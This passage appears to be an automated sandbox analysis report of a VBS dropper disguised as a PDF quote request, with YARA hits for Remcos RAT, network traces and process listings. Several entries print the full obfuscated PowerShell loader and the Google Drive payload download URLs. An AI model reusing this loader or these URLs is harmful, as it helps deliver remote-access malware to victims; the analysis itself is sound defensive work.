Source: powershell.exe, 00000004.00000002.1344746282.000002258049F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1344746282.00000225805BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1i7dwfRPhv9u6AAd6irYY63bwGYe4-0QC&export=download
Source: msiexec.exe, 00000010.00000003.1824595082.0000000000687000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000010.00000002.1859072664.0000000000680000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000010.00000003.1765185620.0000000000687000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000010.00000002.1859072664.0000000000670000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000010.00000003.1765254963.0000000000687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1lG2PFpFYkSI6X_VCBq4gFHA1GeoYlhZf&export=download
Source: msiexec.exe, 00000010.00000003.1824595082.0000000000687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1lG2PFpFYkSI6X_VCBq4gFHA1GeoYlhZf&export=download&
Source: msiexec.exe, 00000010.00000003.1824595082.0000000000687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1lG2PFpFYkSI6X_VCBq4gFHA1GeoYlhZf&export=downloadT
Source: msiexec.exe, 00000010.00000003.1824595082.0000000000687000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000010.00000002.1859072664.0000000000680000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1lG2PFpFYkSI6X_VCBq4gFHA1GeoYlhZf&export=downloadof
Source: msiexec.exe, 00000010.00000002.1859072664.0000000000666000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1lG2PFpFYkSI6X_VCBq4gFHA1GeoYlhZf&export=downloadvF
Source: msiexec.exe, 00000010.00000002.1859072664.0000000000666000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1lG2PFpFYkSI6X_VCBq4gFHA1GeoYlhZf&export=downloadzF
Source: msiexec.exe, 00000010.00000003.1824595082.0000000000687000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000010.00000002.1859072664.0000000000680000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/y
Source: edb.log.6.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000006.00000003.1202986744.000001B673D90000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.6.dr, edb.log.6.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: powershell.exe, 00000004.00000002.1344746282.0000022580227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000004.00000002.1371459789.0000022590070000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000004.00000002.1344746282.000002258049F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1344746282.000002258049B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1344746282.0000022580483000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000010.00000003.1765185620.0000000000679000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000010.00000003.1765185620.0000000000687000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000010.00000003.1765254963.0000000000687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: powershell.exe, 00000004.00000002.1344746282.000002258049F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1344746282.000002258049B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1344746282.0000022580483000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000010.00000003.1765185620.0000000000679000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000010.00000003.1765185620.0000000000687000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000010.00000003.1765254963.0000000000687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: powershell.exe, 00000004.00000002.1344746282.000002258049F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1344746282.000002258049B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1344746282.0000022580483000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000010.00000003.1765185620.0000000000679000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000010.00000003.1765185620.0000000000687000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000010.00000003.1765254963.0000000000687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: powershell.exe, 00000004.00000002.1344746282.000002258049F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1344746282.000002258049B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1344746282.0000022580483000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000010.00000003.1765185620.0000000000679000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000010.00000003.1765185620.0000000000687000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000010.00000003.1765254963.0000000000687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: powershell.exe, 00000004.00000002.1344746282.000002258049F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1344746282.000002258049B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1344746282.0000022580483000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000010.00000003.1765185620.0000000000679000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000010.00000003.1765185620.0000000000687000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000010.00000003.1765254963.0000000000687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49687
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49685
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49696
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49682
Source: unknown	Network traffic detected: HTTP traffic on port 49696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49685 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49687 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49682 -> 443

Source: unknown	HTTPS traffic detected: 142.250.186.174:443 -> 192.168.2.10:49682 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.174:443 -> 192.168.2.10:49685 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.161:443 -> 192.168.2.10:49687 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.174:443 -> 192.168.2.10:49696 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.161:443 -> 192.168.2.10:49697 version: TLS 1.2

E-Banking Fraud

Yara detected Remcos RAT

Source: Yara match	File source: 00000010.00000002.1859072664.000000000064C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: msiexec.exe PID: 7632, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi64_4504.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: amsi32_7356.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 4504, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7356, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "echo $Uncaramelised;function Spuledes($Soncy){ .($Industrivirksomheders) ($Soncy)} function Paining($Kortform){$Suprascapular225=4;do{$Ancientest+=$Kortform[$Suprascapular225];$Suprascapular225+=5;$Rockerkrig=Format-List} until(!$Kortform[$Suprascapular225])$Ancientest}$Strghandlen=Paining 'ErhvNPouleHje TCere.Enclw';$Strghandlen+=Paining 'SneaEBrugbBla cOv rLFin iPr eE ArgNKelpT';$cravenhearted=Paining ' pplMSt roBenezScoriAraplOverlOweraUdvi/';$where=Paining ' GerT Retl HydsBitt1Fast2';$Cellobiose='Carl[Ch.rnSmaaeSo ftMono.EngrSAlfaeA.skr l,nvLy tIOverCSammEp.akp,espoTid,ISu gNB gfTAfseMSoc ABroenCensA uslGMobieSljfr.air]C mo:Mosa:PolySEsurESpekcRrinuB,koRKe tiRecotStvdyEa ePTrevrSparoDyflTEgneOTrapCBlokO KryLTryk=S.ua$,uscwBos Hstnke IterD.agE';$cravenhearted+=Paining 'A,th5 Amy.Hogn0galg Emp(KontW CapiSk.fnContd.yreoKo pw,redsUnna MensNUretTBust Beha1Sass0Data..ppl0Staa; For SmagW DisiFestn Til6 ol4Ufo,;Gyps ssex Nar6Sven4Amat;M ka ktt.rTeknvMene:afko1Inve3linj4Cont. M,v0Sept)Sex, CrocGSpyteTtnecAirvkNe.eodato/Uku.2 ou0Fors1Paar0 Cum0 Dag1Dipo0Impr1Hypn LeaF evii ammrBraeeBr,mf Hygo BruxOro./T yk1Ajou3T np4Hogf.Ni e0';$Unfauceted=Paining 'Roc.UMe,aSBy.neT.kbREven-GreeAPortG BraE PhenOrdst';$Disbursable=Paining 'Pa thMetetBiblt,rivpF,rssC.ar: For/ Je,/SyridAilcrAbsyiFrasvForleHove.SnvrgRickoU,saoSk vg CanlOxmaedi,t. islcGentoEnf mRaah/G leuTaalcTwan?.taveConrx .mvp.steoSrh rCarptEmpi=Hvisd HetoFredwMissn entlRepaoabsta P.rdTilb&Ariai Sard Fr,=Kbte1 Ilmi Mu 7LgbrdAlt.wAkk fVig RBlokP BemhBemavFejl9B.utuObol6 ktiAR lsAA,sudBorg6 MosiUniorNavaYUtilY Fil6Def 3HumdbDiktwH dgG Fo,YS.ceeAttr4conc-Simp0 rivQF lkC';$Benzinmotorernes=Paining 'Ere >';$Industrivirksomheders=Paining 'VauliEav Etanyx';$Samfundshjlperens='Fredningsplanerne';$Cocoon='\Squarely154.Gen';Spuledes (Paining ' A,s$miljgBrnel udeOFlorB hura Till ,nh:Tri,pHarmASoutV tiiOut NDrecSRut =Bonn$Af.aeFlinnPensV ur:AccrASirtpVag.p FerDSemiaPrept Hica Wee+Out.$AubacErytOA.ymcUngaoBo,yoGa,nn');Spuledes (Paining ' R.g$ micgR jsLSatsOGophB oorATantla ba: Sc mInfiA umMKapsmD ngOrundN rkeISekuSAfklMpart=Fork$T ssD KafiRailSPachB Co uAlloRHin ST lgaA taBRygtlulveE ve.Con,S,salp ummLKbeliBemgT Tri( ndi$Wel b .lieOpk nPee,Z sa.IAdeln ResMBremoD,aiTT psOUnterAfg eWo dRFin.NEth e l gsford)');Spuledes (Paining $Cellobiose);$Disbursable=$Mammonism[0];$forevigende=(Paining 'L ce$Rbd GCherL parOKv.kbKamgAAlmaLVanr:FodeuE akdOutbFLeucLHutuaDiktaCayadStilDOlymESterNForne th.SGhan=Ho.eNBagkEeuphwKirk- ClaOEkspbPinnJCen.e.dskCpredTHy,o SlacsFagmyGameSInert pheeCarnmBall.pidd$Indss djotGadgRSejlGTermh KnaAKrign AppD liglFagfEMegaN');Spuledes ($forevigende);Spuledes (Paining 'Lago$Esa,UNapod mof C ll.risa.ulkaveksdNonpdRente A,enFazieSul,sPrev. ,xeH Fo,eFritaLuded UdfeUdplrK.ntsVali[ L n$LegaUD.pin BerfDamea.ntiuAnt cstryequict Tare U,bdHvid] Per=Frdi$UncocFormrLittaP kevDawfemacan esu
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "echo $Uncaramelised;function Spuledes($Soncy){ .($Industrivirksomheders) ($Soncy)} function Paining($Kortform){$Suprascapular225=4;do{$Ancientest+=$Kortform[$Suprascapular225];$Suprascapular225+=5;$Rockerkrig=Format-List} until(!$Kortform[$Suprascapular225])$Ancientest}$Strghandlen=Paining 'ErhvNPouleHje TCere.Enclw';$Strghandlen+=Paining 'SneaEBrugbBla cOv rLFin iPr eE ArgNKelpT';$cravenhearted=Paining ' pplMSt roBenezScoriAraplOverlOweraUdvi/';$where=Paining ' GerT Retl HydsBitt1Fast2';$Cellobiose='Carl[Ch.rnSmaaeSo ftMono.EngrSAlfaeA.skr l,nvLy tIOverCSammEp.akp,espoTid,ISu gNB gfTAfseMSoc ABroenCensA uslGMobieSljfr.air]C mo:Mosa:PolySEsurESpekcRrinuB,koRKe tiRecotStvdyEa ePTrevrSparoDyflTEgneOTrapCBlokO KryLTryk=S.ua$,uscwBos Hstnke IterD.agE';$cravenhearted+=Paining 'A,th5 Amy.Hogn0galg Emp(KontW CapiSk.fnContd.yreoKo pw,redsUnna MensNUretTBust Beha1Sass0Data..ppl0Staa; For SmagW DisiFestn Til6 ol4Ufo,;Gyps ssex Nar6Sven4Amat;M ka ktt.rTeknvMene:afko1Inve3linj4Cont. M,v0Sept)Sex, CrocGSpyteTtnecAirvkNe.eodato/Uku.2 ou0Fors1Paar0 Cum0 Dag1Dipo0Impr1Hypn LeaF evii ammrBraeeBr,mf Hygo BruxOro./T yk1Ajou3T np4Hogf.Ni e0';$Unfauceted=Paining 'Roc.UMe,aSBy.neT.kbREven-GreeAPortG BraE PhenOrdst';$Disbursable=Paining 'Pa thMetetBiblt,rivpF,rssC.ar: For/ Je,/SyridAilcrAbsyiFrasvForleHove.SnvrgRickoU,saoSk vg CanlOxmaedi,t. islcGentoEnf mRaah/G leuTaalcTwan?.taveConrx .mvp.steoSrh rCarptEmpi=Hvisd HetoFredwMissn entlRepaoabsta P.rdTilb&Ariai Sard Fr,=Kbte1 Ilmi Mu 7LgbrdAlt.wAkk fVig RBlokP BemhBemavFejl9B.utuObol6 ktiAR lsAA,sudBorg6 MosiUniorNavaYUtilY Fil6Def 3HumdbDiktwH dgG Fo,YS.ceeAttr4conc-Simp0 rivQF lkC';$Benzinmotorernes=Paining 'Ere >';$Industrivirksomheders=Paining 'VauliEav Etanyx';$Samfundshjlperens='Fredningsplanerne';$Cocoon='\Squarely154.Gen';Spuledes (Paining ' A,s$miljgBrnel udeOFlorB hura Till ,nh:Tri,pHarmASoutV tiiOut NDrecSRut =Bonn$Af.aeFlinnPensV ur:AccrASirtpVag.p FerDSemiaPrept Hica Wee+Out.$AubacErytOA.ymcUngaoBo,yoGa,nn');Spuledes (Paining ' R.g$ micgR jsLSatsOGophB oorATantla ba: Sc mInfiA umMKapsmD ngOrundN rkeISekuSAfklMpart=Fork$T ssD KafiRailSPachB Co uAlloRHin ST lgaA taBRygtlulveE ve.Con,S,salp ummLKbeliBemgT Tri( ndi$Wel b .lieOpk nPee,Z sa.IAdeln ResMBremoD,aiTT psOUnterAfg eWo dRFin.NEth e l gsford)');Spuledes (Paining $Cellobiose);$Disbursable=$Mammonism[0];$forevigende=(Paining 'L ce$Rbd GCherL parOKv.kbKamgAAlmaLVanr:FodeuE akdOutbFLeucLHutuaDiktaCayadStilDOlymESterNForne th.SGhan=Ho.eNBagkEeuphwKirk- ClaOEkspbPinnJCen.e.dskCpredTHy,o SlacsFagmyGameSInert pheeCarnmBall.pidd$Indss djotGadgRSejlGTermh KnaAKrign AppD liglFagfEMegaN');Spuledes ($forevigende);Spuledes (Paining 'Lago$Esa,UNapod mof C ll.risa.ulkaveksdNonpdRente A,enFazieSul,sPrev. ,xeH Fo,eFritaLuded UdfeUdplrK.ntsVali[ L n$LegaUD.pin BerfDamea.ntiuAnt cstryequict Tare U,bdHvid] Per=Frdi$UncocFormrLittaP kevDawfemacan esu			Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFCB066CD12		4_2_00007FFCB066CD12
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFCB066BF66		4_2_00007FFCB066BF66

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 6247
Source: unknown	Process created: Commandline size = 6247
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 6247	Jump to behavior

Source: amsi64_4504.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: amsi32_7356.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 4504, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7356, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\SysWOW64\msiexec.exe	Mutant created: \Sessions\1\BaseNamedObjects\Rmc-5VYA3J
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7364:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6436:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5072:120:WilError_03

Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process Where Name = 'explorer.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=4504
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=7356

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ANGEBOTSANFRAGE (Universit#U00e4t Klagenfurt) 10-03-2025#U00b7pdf.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\PING.EXE ping Host_6637.6637.6637.657e
Source: C:\Windows\System32\PING.EXE	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "echo $Uncaramelised;function Spuledes($Soncy){ .($Industrivirksomheders) ($Soncy)} function Paining($Kortform){$Suprascapular225=4;do{$Ancientest+=$Kortform[$Suprascapular225];$Suprascapular225+=5;$Rockerkrig=Format-List} until(!$Kortform[$Suprascapular225])$Ancientest}$Strghandlen=Paining 'ErhvNPouleHje TCere.Enclw';$Strghandlen+=Paining 'SneaEBrugbBla cOv rLFin iPr eE ArgNKelpT';$cravenhearted=Paining ' pplMSt roBenezScoriAraplOverlOweraUdvi/';$where=Paining ' GerT Retl HydsBitt1Fast2';$Cellobiose='Carl[Ch.rnSmaaeSo ftMono.EngrSAlfaeA.skr l,nvLy tIOverCSammEp.akp,espoTid,ISu gNB gfTAfseMSoc ABroenCensA uslGMobieSljfr.air]C mo:Mosa:PolySEsurESpekcRrinuB,koRKe tiRecotStvdyEa ePTrevrSparoDyflTEgneOTrapCBlokO KryLTryk=S.ua$,uscwBos Hstnke IterD.agE';$cravenhearted+=Paining 'A,th5 Amy.Hogn0galg Emp(KontW CapiSk.fnContd.yreoKo pw,redsUnna MensNUretTBust Beha1Sass0Data..ppl0Staa; For SmagW DisiFestn Til6 ol4Ufo,;Gyps ssex Nar6Sven4Amat;M ka ktt.rTeknvMene:afko1Inve3linj4Cont. M,v0Sept)Sex, CrocGSpyteTtnecAirvkNe.eodato/Uku.2 ou0Fors1Paar0 Cum0 Dag1Dipo0Impr1Hypn LeaF evii ammrBraeeBr,mf Hygo BruxOro./T yk1Ajou3T np4Hogf.Ni e0';$Unfauceted=Paining 'Roc.UMe,aSBy.neT.kbREven-GreeAPortG BraE PhenOrdst';$Disbursable=Paining 'Pa thMetetBiblt,rivpF,rssC.ar: For/ Je,/SyridAilcrAbsyiFrasvForleHove.SnvrgRickoU,saoSk vg CanlOxmaedi,t. islcGentoEnf mRaah/G leuTaalcTwan?.taveConrx .mvp.steoSrh rCarptEmpi=Hvisd HetoFredwMissn entlRepaoabsta P.rdTilb&Ariai Sard Fr,=Kbte1 Ilmi Mu 7LgbrdAlt.wAkk fVig RBlokP BemhBemavFejl9B.utuObol6 ktiAR lsAA,sudBorg6 MosiUniorNavaYUtilY Fil6Def 3HumdbDiktwH dgG Fo,YS.ceeAttr4conc-Simp0 rivQF lkC';$Benzinmotorernes=Paining 'Ere >';$Industrivirksomheders=Paining 'VauliEav Etanyx';$Samfundshjlperens='Fredningsplanerne';$Cocoon='\Squarely154.Gen';Spuledes (Paining ' A,s$miljgBrnel udeOFlorB hura Till ,nh:Tri,pHarmASoutV tiiOut NDrecSRut =Bonn$Af.aeFlinnPensV ur:AccrASirtpVag.p FerDSemiaPrept Hica Wee+Out.$AubacErytOA.ymcUngaoBo,yoGa,nn');Spuledes (Paining ' R.g$ micgR jsLSatsOGophB oorATantla ba: Sc mInfiA umMKapsmD ngOrundN rkeISekuSAfklMpart=Fork$T ssD KafiRailSPachB Co uAlloRHin ST lgaA taBRygtlulveE ve.Con,S,salp ummLKbeliBemgT Tri( ndi$Wel b .lieOpk nPee,Z sa.IAdeln ResMBremoD,aiTT psOUnterAfg eWo dRFin.NEth e l gsford)');Spuledes (Paining $Cellobiose);$Disbursable=$Mammonism[0];$forevigende=(Paining 'L ce$Rbd GCherL parOKv.kbKamgAAlmaLVanr:FodeuE akdOutbFLeucLHutuaDiktaCayadStilDOlymESterNForne th.SGhan=Ho.eNBagkEeuphwKirk- ClaOEkspbPinnJCen.e.dskCpredTHy,o SlacsFagmyGameSInert pheeCarnmBall.pidd$Indss djotGadgRSejlGTermh KnaAKrign AppD liglFagfEMegaN');Spuledes ($forevigende);Spuledes (Paining 'Lago$Esa,UNapod mof C ll.risa.ulkaveksdNonpdRente A,enFazieSul,sPrev. ,xeH Fo,eFritaLuded UdfeUdplrK.ntsVali[ L n$LegaUD.pin BerfDamea.ntiuAnt cstryequict Tare U,bdHvid] Per=Frdi$UncocFormrLittaP kevDawfemacan esu
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "echo $Uncaramelised;function Spuledes($Soncy){ .($Industrivirksomheders) ($Soncy)} function Paining($Kortform){$Suprascapular225=4;do{$Ancientest+=$Kortform[$Suprascapular225];$Suprascapular225+=5;$Rockerkrig=Format-List} until(!$Kortform[$Suprascapular225])$Ancientest}$Strghandlen=Paining 'ErhvNPouleHje TCere.Enclw';$Strghandlen+=Paining 'SneaEBrugbBla cOv rLFin iPr eE ArgNKelpT';$cravenhearted=Paining ' pplMSt roBenezScoriAraplOverlOweraUdvi/';$where=Paining ' GerT Retl HydsBitt1Fast2';$Cellobiose='Carl[Ch.rnSmaaeSo ftMono.EngrSAlfaeA.skr l,nvLy tIOverCSammEp.akp,espoTid,ISu gNB gfTAfseMSoc ABroenCensA uslGMobieSljfr.air]C mo:Mosa:PolySEsurESpekcRrinuB,koRKe tiRecotStvdyEa ePTrevrSparoDyflTEgneOTrapCBlokO KryLTryk=S.ua$,uscwBos Hstnke IterD.agE';$cravenhearted+=Paining 'A,th5 Amy.Hogn0galg Emp(KontW CapiSk.fnContd.yreoKo pw,redsUnna MensNUretTBust Beha1Sass0Data..ppl0Staa; For SmagW DisiFestn Til6 ol4Ufo,;Gyps ssex Nar6Sven4Amat;M ka ktt.rTeknvMene:afko1Inve3linj4Cont. M,v0Sept)Sex, CrocGSpyteTtnecAirvkNe.eodato/Uku.2 ou0Fors1Paar0 Cum0 Dag1Dipo0Impr1Hypn LeaF evii ammrBraeeBr,mf Hygo BruxOro./T yk1Ajou3T np4Hogf.Ni e0';$Unfauceted=Paining 'Roc.UMe,aSBy.neT.kbREven-GreeAPortG BraE PhenOrdst';$Disbursable=Paining 'Pa thMetetBiblt,rivpF,rssC.ar: For/ Je,/SyridAilcrAbsyiFrasvForleHove.SnvrgRickoU,saoSk vg CanlOxmaedi,t. islcGentoEnf mRaah/G leuTaalcTwan?.taveConrx .mvp.steoSrh rCarptEmpi=Hvisd HetoFredwMissn entlRepaoabsta P.rdTilb&Ariai Sard Fr,=Kbte1 Ilmi Mu 7LgbrdAlt.wAkk fVig RBlokP BemhBemavFejl9B.utuObol6 ktiAR lsAA,sudBorg6 MosiUniorNavaYUtilY Fil6Def 3HumdbDiktwH dgG Fo,YS.ceeAttr4conc-Simp0 rivQF lkC';$Benzinmotorernes=Paining 'Ere >';$Industrivirksomheders=Paining 'VauliEav Etanyx';$Samfundshjlperens='Fredningsplanerne';$Cocoon='\Squarely154.Gen';Spuledes (Paining ' A,s$miljgBrnel udeOFlorB hura Till ,nh:Tri,pHarmASoutV tiiOut NDrecSRut =Bonn$Af.aeFlinnPensV ur:AccrASirtpVag.p FerDSemiaPrept Hica Wee+Out.$AubacErytOA.ymcUngaoBo,yoGa,nn');Spuledes (Paining ' R.g$ micgR jsLSatsOGophB oorATantla ba: Sc mInfiA umMKapsmD ngOrundN rkeISekuSAfklMpart=Fork$T ssD KafiRailSPachB Co uAlloRHin ST lgaA taBRygtlulveE ve.Con,S,salp ummLKbeliBemgT Tri( ndi$Wel b .lieOpk nPee,Z sa.IAdeln ResMBremoD,aiTT psOUnterAfg eWo dRFin.NEth e l gsford)');Spuledes (Paining $Cellobiose);$Disbursable=$Mammonism[0];$forevigende=(Paining 'L ce$Rbd GCherL parOKv.kbKamgAAlmaLVanr:FodeuE akdOutbFLeucLHutuaDiktaCayadStilDOlymESterNForne th.SGhan=Ho.eNBagkEeuphwKirk- ClaOEkspbPinnJCen.e.dskCpredTHy,o SlacsFagmyGameSInert pheeCarnmBall.pidd$Indss djotGadgRSejlGTermh KnaAKrign AppD liglFagfEMegaN');Spuledes ($forevigende);Spuledes (Paining 'Lago$Esa,UNapod mof C ll.risa.ulkaveksdNonpdRente A,enFazieSul,sPrev. ,xeH Fo,eFritaLuded UdfeUdplrK.ntsVali[ L n$LegaUD.pin BerfDamea.ntiuAnt cstryequict Tare U,bdHvid] Per=Frdi$UncocFormrLittaP kevDawfemacan esu
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"
Source: unknown	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\System32\msiexec.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\PING.EXE ping Host_6637.6637.6637.657e	Jump to behavior
